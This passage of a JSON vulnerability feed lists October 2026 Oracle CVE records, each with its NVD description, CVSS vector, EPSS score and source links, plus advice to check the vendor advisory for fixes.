fixes.","publishedAt":"2026-10-20T22:21:01.097Z","updatedAt":"2026-10-21T18:44:55.490Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Oracle"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-91608","asOf":"2026-10-21T18:44:55.490Z"},"epss":{"probability":0.00416,"percentile":0.35575,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-91608&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-91608","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-91608","type":"primary","publishedAt":"2026-10-20T22:21:01.097Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-91608&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-91608, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-91604","cveId":"CVE-2026-91604","aliases":[],"kind":"vulnerability","title":"Vulnerability in the Oracle Agile Product Lifecycle Management for Process product of Oracle Supply Chain (component: Product Quality Management).","summary":"Vulnerability in the Oracle Agile Product Lifecycle Management for Process product of Oracle Supply Chain (component: Product Quality Management).   The supported version that is affected is 6.2.4. Difficult to exploit vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Agile Product Lifecycle Management for Process.  Successful attacks of this vulnerability can result in takeover of Oracle Agile Product Lifecycle Management for Process. CVSS 3.1 Base Score 7.5 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H).","detail":"Vulnerability in the Oracle Agile Product Lifecycle Management for Process product of Oracle Supply Chain (component: Product Quality Management).   The supported version that is affected is 6.2.4. Difficult to exploit vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Agile Product Lifecycle Management for Process.  Successful attacks of this vulnerability can result in takeover of Oracle Agile Product Lifecycle Management for Process. CVSS 3.1 Base Score 7.5 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H).\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:21:00.880Z","updatedAt":"2026-10-21T18:44:55.490Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Oracle"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-91604","asOf":"2026-10-21T18:44:55.490Z"},"epss":{"probability":0.00345,"percentile":0.27834,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-91604&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-91604","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-91604","type":"primary","publishedAt":"2026-10-20T22:21:00.880Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-91604&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-91604, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-91597","cveId":"CVE-2026-91597","aliases":[],"kind":"vulnerability","title":"Vulnerability in the Oracle Business Intelligence Enterprise Edition product of Oracle Analytics (component: Platform Security).","summary":"Vulnerability in the Oracle Business Intelligence Enterprise Edition product of Oracle Analytics (component: Platform Security).  Supported versions that are affected are 8.2.0.0.0 and  26.01.0.0.0. Difficult to exploit vulnerability allows unauthenticated attacker with access to the physical communication segment attached to the hardware where the Oracle Business Intelligence Enterprise Edition executes to compromise Oracle Business Intelligence Enterprise Edition.  While the vulnerability is in Oracle Business Intelligence Enterprise Edition, attacks may significantly impact additional products (scope change).  Successful attacks of this vulnerability can result in takeover of Oracle Business Intelligence Enterprise Edition. CVSS 3.1 Base Score 8.3 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:A/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H).","detail":"Vulnerability in the Oracle Business Intelligence Enterprise Edition product of Oracle Analytics (component: Platform Security).  Supported versions that are affected are 8.2.0.0.0 and  26.01.0.0.0. Difficult to exploit vulnerability allows unauthenticated attacker with access to the physical communication segment attached to the hardware where the Oracle Business Intelligence Enterprise Edition executes to compromise Oracle Business Intelligence Enterprise Edition.  While the vulnerability is in Oracle Business Intelligence Enterprise Edition, attacks may significantly impact additional products (scope change).  Successful attacks of this vulnerability can result in takeover of Oracle Business Intelligence Enterprise Edition. CVSS 3.1 Base Score 8.3 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:A/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H).\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:21:00.537Z","updatedAt":"2026-10-21T18:44:55.490Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Oracle"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.3,"version":"3.1","vector":"CVSS:3.1/AV:A/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-91597","asOf":"2026-10-21T18:44:55.490Z"},"epss":{"probability":0.0019,"percentile":0.08547,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-91597&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-91597","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-91597","type":"primary","publishedAt":"2026-10-20T22:21:00.537Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-91597&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-91597, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-91579","cveId":"CVE-2026-91579","aliases":[],"kind":"vulnerability","title":"Vulnerability in the Oracle BI Publisher product of Oracle Analytics (component: BI Platform Security).","summary":"Vulnerability in the Oracle BI Publisher product of Oracle Analytics (component: BI Platform Security).  Supported versions that are affected are 8.2.0.0.0, 12.2.1.4.0 and  26.01.0.0.0. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle BI Publisher.  Successful attacks require human interaction from a person other than the attacker. Successful attacks of this vulnerability can result in takeover of Oracle BI Publisher. CVSS 3.1 Base Score 8.8 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H).","detail":"Vulnerability in the Oracle BI Publisher product of Oracle Analytics (component: BI Platform Security).  Supported versions that are affected are 8.2.0.0.0, 12.2.1.4.0 and  26.01.0.0.0. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle BI Publisher.  Successful attacks require human interaction from a person other than the attacker. Successful attacks of this vulnerability can result in takeover of Oracle BI Publisher. CVSS 3.1 Base Score 8.8 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H).\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:21:00.080Z","updatedAt":"2026-10-21T18:44:55.490Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Oracle"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-91579","asOf":"2026-10-21T18:44:55.490Z"},"epss":{"probability":0.00234,"percentile":0.14106,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-91579&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-91579","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-91579","type":"primary","publishedAt":"2026-10-20T22:21:00.080Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-91579&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-91579, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-91573","cveId":"CVE-2026-91573","aliases":[],"kind":"vulnerability","title":"Vulnerability in the Oracle Agile Product Lifecycle Management for Process product of Oracle Supply Chain (component: Product Quality Management).","summary":"Vulnerability in the Oracle Agile Product Lifecycle Management for Process product of Oracle Supply Chain (component: Product Quality Management).   The supported version that is affected is 6.2.4. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle Agile Product Lifecycle Management for Process.  Successful attacks of this vulnerability can result in  unauthorized access to critical data or complete access to all Oracle Agile Product Lifecycle Management for Process accessible data as well as  unauthorized update, insert or delete access to some of Oracle Agile Product Lifecycle Management for Process accessible data. CVSS 3.1 Base Score 8.2 (Confidentiality and Integrity impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N).","detail":"Vulnerability in the Oracle Agile Product Lifecycle Management for Process product of Oracle Supply Chain (component: Product Quality Management).   The supported version that is affected is 6.2.4. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle Agile Product Lifecycle Management for Process.  Successful attacks of this vulnerability can result in  unauthorized access to critical data or complete access to all Oracle Agile Product Lifecycle Management for Process accessible data as well as  unauthorized update, insert or delete access to some of Oracle Agile Product Lifecycle Management for Process accessible data. CVSS 3.1 Base Score 8.2 (Confidentiality and Integrity impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N).\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:20:59.627Z","updatedAt":"2026-10-21T18:44:55.490Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Oracle"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.2,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-91573","asOf":"2026-10-21T18:44:55.490Z"},"epss":{"probability":0.00274,"percentile":0.1963,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-91573&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-91573","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-91573","type":"primary","publishedAt":"2026-10-20T22:20:59.627Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-91573&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-91573, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-91568","cveId":"CVE-2026-91568","aliases":[],"kind":"vulnerability","title":"Vulnerability in the RDBMS component of Oracle Database Server.","summary":"Vulnerability in the RDBMS component of Oracle Database Server.  Supported versions that are affected are 23.4.0-23.26.3. Easily exploitable vulnerability allows low privileged attacker having Create Session privilege with network access via Oracle Net to compromise RDBMS.  While the vulnerability is in RDBMS, attacks may significantly impact additional products (scope change).  Successful attacks of this vulnerability can result in  unauthorized access to critical data or complete access to all RDBMS accessible data. CVSS 3.1 Base Score 7.7 (Confidentiality impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N).","detail":"Vulnerability in the RDBMS component of Oracle Database Server.  Supported versions that are affected are 23.4.0-23.26.3. Easily exploitable vulnerability allows low privileged attacker having Create Session privilege with network access via Oracle Net to compromise RDBMS.  While the vulnerability is in RDBMS, attacks may significantly impact additional products (scope change).  Successful attacks of this vulnerability can result in  unauthorized access to critical data or complete access to all RDBMS accessible data. CVSS 3.1 Base Score 7.7 (Confidentiality impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N).\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:20:59.513Z","updatedAt":"2026-10-21T18:44:55.490Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Oracle"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.7,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-91568","asOf":"2026-10-21T18:44:55.490Z"},"epss":{"probability":0.00355,"percentile":0.28968,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-91568&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-91568","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-91568","type":"primary","publishedAt":"2026-10-20T22:20:59.513Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-91568&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-91568, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-91563","cveId":"CVE-2026-91563","aliases":[],"kind":"vulnerability","title":"Vulnerability in the Oracle OLAP component of Oracle Database Server.","summary":"Vulnerability in the Oracle OLAP component of Oracle Database Server.  Supported versions that are affected are 19.3-19.32, 21.3-21.23 and  23.4.0-23.26.3. Easily exploitable vulnerability allows low privileged attacker having DBMS_AW privilege with network access via Oracle Net to compromise Oracle OLAP.  Successful attacks of this vulnerability can result in takeover of Oracle OLAP. CVSS 3.1 Base Score 8.8 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).","detail":"Vulnerability in the Oracle OLAP component of Oracle Database Server.  Supported versions that are affected are 19.3-19.32, 21.3-21.23 and  23.4.0-23.26.3. Easily exploitable vulnerability allows low privileged attacker having DBMS_AW privilege with network access via Oracle Net to compromise Oracle OLAP.  Successful attacks of this vulnerability can result in takeover of Oracle OLAP. CVSS 3.1 Base Score 8.8 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:20:59.283Z","updatedAt":"2026-10-21T18:44:55.490Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Oracle"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-91563","asOf":"2026-10-21T18:44:55.490Z"},"epss":{"probability":0.00363,"percentile":0.29821,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-91563&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-91563","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-91563","type":"primary","publishedAt":"2026-10-20T22:20:59.283Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-91563&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-91563, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-91557","cveId":"CVE-2026-91557","aliases":[],"kind":"vulnerability","title":"Vulnerability in the Oracle Business Intelligence Enterprise Edition product of Oracle Analytics (component: BI Foundation).","summary":"Vulnerability in the Oracle Business Intelligence Enterprise Edition product of Oracle Analytics (component: BI Foundation).   The supported version that is affected is 12.2.1.4.0. Difficult to exploit vulnerability allows low privileged attacker with logon to the infrastructure where Oracle Business Intelligence Enterprise Edition executes to compromise Oracle Business Intelligence Enterprise Edition.  Successful attacks of this vulnerability can result in takeover of Oracle Business Intelligence Enterprise Edition. CVSS 3.1 Base Score 7.0 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H).","detail":"Vulnerability in the Oracle Business Intelligence Enterprise Edition product of Oracle Analytics (component: BI Foundation).   The supported version that is affected is 12.2.1.4.0. Difficult to exploit vulnerability allows low privileged attacker with logon to the infrastructure where Oracle Business Intelligence Enterprise Edition executes to compromise Oracle Business Intelligence Enterprise Edition.  Successful attacks of this vulnerability can result in takeover of Oracle Business Intelligence Enterprise Edition. CVSS 3.1 Base Score 7.0 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H).\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:20:58.927Z","updatedAt":"2026-10-21T18:44:55.490Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Oracle"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-91557","asOf":"2026-10-21T18:44:55.490Z"},"epss":{"probability":0.001,"percentile":0.00851,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-91557&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-91557","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-91557","type":"primary","publishedAt":"2026-10-20T22:20:58.927Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-91557&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-91557, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-91552","cveId":"CVE-2026-91552","aliases":[],"kind":"vulnerability","title":"Vulnerability in the Oracle WebCenter Sites product of Oracle Fusion Middleware (component: WebCenter Sites).","summary":"Vulnerability in the Oracle WebCenter Sites product of Oracle Fusion Middleware (component: WebCenter Sites).  Supported versions that are affected are 12.2.1.4.0 and  14.1.2.0.0. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle WebCenter Sites.  Successful attacks of this vulnerability can result in  unauthorized access to critical data or complete access to all Oracle WebCenter Sites accessible data. CVSS 3.1 Base Score 7.5 (Confidentiality impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N).","detail":"Vulnerability in the Oracle WebCenter Sites product of Oracle Fusion Middleware (component: WebCenter Sites).  Supported versions that are affected are 12.2.1.4.0 and  14.1.2.0.0. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle WebCenter Sites.  Successful attacks of this vulnerability can result in  unauthorized access to critical data or complete access to all Oracle WebCenter Sites accessible data. CVSS 3.1 Base Score 7.5 (Confidentiality impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N).\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:20:58.433Z","updatedAt":"2026-10-21T18:44:55.490Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Oracle"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-91552","asOf":"2026-10-21T18:44:55.490Z"},"epss":{"probability":0.00409,"percentile":0.34895,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-91552&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-91552","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-91552","type":"primary","publishedAt":"2026-10-20T22:20:58.433Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-91552&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-91552, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-91550","cveId":"CVE-2026-91550","aliases":[],"kind":"vulnerability","title":"Vulnerability in the Oracle Agile Product Lifecycle Management for Process product of Oracle Supply Chain (component: Product Quality Management).","summary":"Vulnerability in the Oracle Agile Product Lifecycle Management for Process product of Oracle Supply Chain (component: Product Quality Management).   The supported version that is affected is 6.2.4. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Agile Product Lifecycle Management for Process.  Successful attacks of this vulnerability can result in takeover of Oracle Agile Product Lifecycle Management for Process. CVSS 3.1 Base Score 8.8 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).","detail":"Vulnerability in the Oracle Agile Product Lifecycle Management for Process product of Oracle Supply Chain (component: Product Quality Management).   The supported version that is affected is 6.2.4. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Agile Product Lifecycle Management for Process.  Successful attacks of this vulnerability can result in takeover of Oracle Agile Product Lifecycle Management for Process. CVSS 3.1 Base Score 8.8 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and 